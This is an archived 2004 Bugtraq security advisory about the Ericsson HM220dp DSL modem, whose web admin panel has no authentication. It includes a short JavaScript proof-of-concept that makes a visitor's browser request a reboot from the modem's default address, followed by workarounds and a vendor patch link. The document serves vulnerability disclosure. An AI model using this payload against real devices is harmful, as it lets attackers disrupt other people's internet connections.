bugtraq - DSL Modem Ericsson HM220dp Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040321131027.1511.qmail@www.securityfocus.com>
Date: 21 Mar 2004 13:10:27 -0000
From: Roberto Dapino <roberto@...sign.it>
To: bugtraq@...urityfocus.com
Subject: DSL Modem Ericsson HM220dp Exploit

SYSTEMS AFFECTED ========

DSL Modem Ericsson HM220dp

CONTENTS =========

Subject: DSL Modem Ericsson HM220dp Exploit
Date: February 22, 2004
Risk: Moderate

DESCRIPTION =========

This is the natural consequence of the following security flaw:

http://www.secunia.com/advisories/8057/
http://www.securityfocus.com/bid/6824/info/

The Ericsson HM220dp DSL modem/router provides no authentication for his Web Administration panel.
So, a malicious user can access the panel and change settings on a local network.

I discovered another serious implication of this bug: the vulnerability can be exploited also throughout a web page, this means that a script contained in a malicious web site (or e-mail) can modify the modem configuration; is also possible to interrupt the modem connection. 

DETAILS =========

This is a proof-of-concept:

[script]
function exploit(){
window.location = "view-source:http://192.168.254.254/dummy.html?reboot=1";
}
[/script]
[input type="button" value="disconnect" onClick="exploit();"]

WORKAROUNDS ========

By changing the modem's default IP address (192.168.254.254) the exploit cannot work. In order to patch the flaw Ericsson also provided the following update:

http://www.wii.ericsson.net/xdslterminals/files/CXC_132_2094-R3F.exe
http://www.wii.ericsson.net/xdslterminals/files/Readme_Instruction_HowTo_update.txt

DISCLAIMER ========

These informations are supplied for educational purpose only. 
The author is not liable for the direct or indirect use of these
informations, which can't be used in order to modify or interrupt the operations of informatic systems. 

LEGAL NOTICE ========

This advisory is Copyright (c) 2004 Roberto Dapino.
It can be reproduced without the author's written permission
only if unmodified.

CREDITS =========

Vulnerability found by Roberto Dapino, Italy.
roberto(at)xdesign.it - - www.stormvision.it

Special thanks to: Johan Kölhi, Ericsson Broadband Access